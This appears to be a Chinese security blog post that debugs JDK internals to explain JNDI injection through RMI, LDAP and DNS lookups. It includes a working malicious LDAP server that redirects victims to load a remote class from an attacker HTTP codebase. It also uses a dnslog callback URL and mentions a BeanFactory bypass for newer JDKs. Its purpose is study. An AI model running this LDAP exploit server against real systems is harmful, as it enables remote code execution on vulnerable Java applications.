各种协议
现在已经知道了打jndi注入我们一般都使用的是RMI或者ldap反序列化,那这是为什么呢?下面我会一一调试分析一下,首先jndi支持的协议
-
LDAP (Lightweight Directory Access Protocol):
- 用于访问和管理分布式目录信息服务。
- 例如:
ldap://hostname:port/
-
RMI (Remote Method Invocation):
- 用于在不同Java虚拟机之间调用方法。
- 例如:
rmi://hostname:port/
-
DNS (Domain Name System):
- 用于解析域名。
- 例如:
dns://hostname/
-
CORBA (Common Object Request Broker Architecture):
- 用于在网络上进行对象请求。
- 例如:
iiop://hostname:port/
-
HTTP (HyperText Transfer Protocol):
- 用于通过HTTP协议进行访问。
- 例如:
http://hostname:port/
-
File Protocol:
- 用于访问文件系统。
- 例如:
file:///path/to/file
-
NIS (Network Information Service):
- 用于访问网络信息服务(通常用于UNIX环境)。
- 例如:
nis://hostname/
RMI
测试代码
package xieyi;
import javax.naming.Context;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.spi.NamingManager;
import java.util.Hashtable;
public class rmi {
public static void main(String[] args) throws Exception{
String url = "rmi://localhost:6666/Object";
Hashtable<?,?> env = new Hashtable<>();
Reference ref = new Reference(
"com.example.xxx",//这里填什么不要紧
new StringRefAddr("URL", url)
);
Object obj = NamingManager.getObjectInstance(ref, null, null, env);
}
}
因为不同的协议对应着不同的工厂类
getURLObject:611, NamingManager (javax.naming.spi)
processURL:391, NamingManager (javax.naming.spi)
processURLAddrs:371, NamingManager (javax.naming.spi)
getObjectInstance:343, NamingManager (javax.naming.spi)
main:17, rmi (xieyi)
在getURLObject的时候会根据传入进来的url去寻找对应的工厂,比如这里的rmi
ObjectFactory factory = (ObjectFactory)ResourceManager.getFactory(
Context.URL_PKG_PREFIXES, environment, nameCtx,
"." + scheme + "." + scheme + "URLContextFactory", defaultPkgPrefix);
就是把schema和我们的URLContextFactory去拼接得到它的工厂
从这里也可以看到是支持这些工厂类的
然后接下来会进入这段代码
factory.getObjectInstance(urlInfo, name, nameCtx, environment);
不同的工厂类对应着不同的getObjectInstance方法
public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
if (var1 == null) {
return new rmiURLContext(var4);
} else if (var1 instanceof String) {
return getUsingURL((String)var1, var4);
} else if (var1 instanceof String[]) {
return getUsingURLs((String[])((String[])var1), var4);
} else {
throw new ConfigurationException("rmiURLContextFactory.getObjectInstance: argument must be an RMI URL String or an array of them");
}
}
会进入getUsingURL方法
private static Object getUsingURL(String var0, Hashtable<?, ?> var1) throws NamingException {
rmiURLContext var2 = new rmiURLContext(var1);
Object var3;
try {
var3 = var2.lookup(var0);
} finally {
var2.close();
}
return var3;
}
跟进var3 = var2.lookup(var0);
来到GenericURLContext (com.sun.jndi.toolkit.url)的lookup方法
public Object lookup(String var1) throws NamingException {
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
Context var3 = (Context)var2.getResolvedObj();
Object var4;
try {
var4 = var3.lookup(var2.getRemainingName());
} finally {
var3.close();
}
return var4;
}
我们就会进入RegistryContext的lookup方法,这也是我们核心的触发漏洞点的地方
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));
}
}
重点在decodeObject方法
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
接收远程引用对象,然后传入NamingManager.getObjectInstance,这也是我们最后的sink点了
又会去获取我们的工厂类,分为远程的和本地的,如果本地没有这个工厂,就会去远程获取,远程就会去加载远程的工厂类代码
对应的逻辑在getObjectFactoryFromReference(ref, f)方法中的
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
// Validate factory's class with the objects factory serial filter
if (clas == null ||
!ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
return null;
}
} catch (ClassNotFoundException e) {
}
}
这里就是实例化远程代码,造成恶意利用,如果是本地呢,其实也是高版本绕过的一个思路,会继续调用本地工厂的getObjectInstance方法,我们只需要找到那个工厂能够恶意的利用就好了,比如我们BeanFactory
dns
我们分析一下这个
测试代码
package xieyi;
import javax.naming.Context;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.spi.NamingManager;
import java.util.Hashtable;
public class dns {
public static void main(String[] args) throws Exception{
String url = "dns://b3ab7fce.log.dnslog.biz.";
Hashtable<?,?> env = new Hashtable<>();
Reference ref = new Reference(
"com.example.xxx",
new StringRefAddr("URL", url)
);
Object obj = NamingManager.getObjectInstance(ref, null, null, env);
}
}
我们这里主要是分析不同的点好吧,还是一样的,它和前面的rmi一样的
lookup:170, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
getUsingURL:70, dnsURLContextFactory (com.sun.jndi.url.dns)
getObjectInstance:55, dnsURLContextFactory (com.sun.jndi.url.dns)
getURLObject:611, NamingManager (javax.naming.spi)
processURL:391, NamingManager (javax.naming.spi)
processURLAddrs:371, NamingManager (javax.naming.spi)
getObjectInstance:343, NamingManager (javax.naming.spi)
main:19, dns (xieyi)
注意到不同的点是rmi在经过lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)方法后来到的是RegistryContext#lookup这里不是,是直接来到PartialCompositeContext的lookup方法
而这个lookup方法并没有恶意利用的地方了,所以我们发现没有使用dns打jndi注入的,它的后续就是简简单单的dns解析罢了
LDAP
代码部分
客户端代码
package JNDI_LDAP;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAP_Client {
public static void main(String[] args) throws NamingException {
//指定RMI服务资源的标识
String jndi_uri = "ldap://127.0.0.1:9999/Exp";
//构建jndi上下文环境
InitialContext initialContext = new InitialContext();
//查找标识关联的RMI服务
initialContext.lookup(jndi_uri);
}
}
服务端代码
package JNDI_LDAP;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAP_Server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://127.0.0.1:8000/#Exp", "9999"};
int port = 0;
if (args.length < 1 || args[0].indexOf('#') < 0) {
System.err.println(LDAP_Server.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
} else if (args.length > 1) {
port = Integer.parseInt(args[1]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
调试分析
我们还是一样从我们的客户端lookup那里开始分析
跟进来到
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
跟进getURLOrDefaultInitCtx方法,此方法用于获取指定的URL上下文,或者如果没有指定URL, 则返回默认的初始化上下文。来到
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}
首先是获取shcheme,就是我们的ladp服务,然后通过getURLContext获取上下文,这个方法内部会先调用getURLObject,但是最后的结果是空
然后回到开始的地方,返回后调用它的lookup,来到ldapURLContext#lookup方法
public Object lookup(String var1) throws NamingException {
if (LdapURL.hasQueryComponents(var1)) {
throw new InvalidNameException(var1);
} else {
return super.lookup(var1);
}
}
调用父类GenericURLContext的方法
public Object lookup(String var1) throws NamingException {
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
Context var3 = (Context)var2.getResolvedObj();
Object var4;
try {
var4 = var3.lookup(var2.getRemainingName());
} finally {
var3.close();
}
return var4;
}
getRootURLContext内部就是解析我们的var1和env,然后返回一个ResolveResult对象
var3就是获取解析的resolvedObj
调用它的lookup方法
但是它没有会调用父类的这个方法,最后是调用PartialCompositeContext的lookup方法
public Object lookup(Name var1) throws NamingException {
PartialCompositeContext var2 = this;
Hashtable var3 = this.p_getEnvironment();
Continuation var4 = new Continuation(var1, var3);
Name var6 = var1;
Object var5;
try {
for(var5 = var2.p_lookup(var6, var4); var4.isContinue(); var5 = var2.p_lookup(var6, var4)) {
var6 = var4.getRemainingName();
var2 = getPCContext(var4);
}
} catch (CannotProceedException var9) {
Context var8 = NamingManager.getContinuationContext(var9);
var5 = var8.lookup(var9.getRemainingName());
}
return var5;
}
可以看到会调用var2也是自己的p_lookup方法
protected Object p_lookup(Name var1, Continuation var2) throws NamingException {
Object var3 = null;
HeadTail var4 = this.p_resolveIntermediate(var1, var2);
switch (var4.getStatus()) {
case 2:
var3 = this.c_lookup(var4.getHead(), var2);
if (var3 instanceof LinkRef) {
var2.setContinue(var3, var4.getHead(), this);
var3 = null;
}
break;
case 3:
var3 = this.c_lookup_nns(var4.getHead(), var2);
if (var3 instanceof LinkRef) {
var2.setContinue(var3, var4.getHead(), this);
var3 = null;
}
}
return var3;
}
看这个调用栈![在这里插入图片描述]
会回到我们的ldap的这个c_lookup方法,然后来到
return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
到这和我们上面RMI就是一样的了,获取我们对象的实例
会先根据
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment, Attributes attrs)
throws Exception {
ObjectFactory factory;
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
if (factory instanceof DirObjectFactory) {
return ((DirObjectFactory)factory).getObjectInstance(
refInfo, name, nameCtx, environment, attrs);
} else {
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
}
先看看我们有没有这个的builder,也就是有没有加载过它,如果我们没有加载过,那就
factory = getObjectFactoryFromReference(ref, f);
获取我们的地址,也就是ldap服务地址,然后加载我们的对象
clas = helper.loadClass(factoryName);
加载后就会触发远程恶意类弹出计算器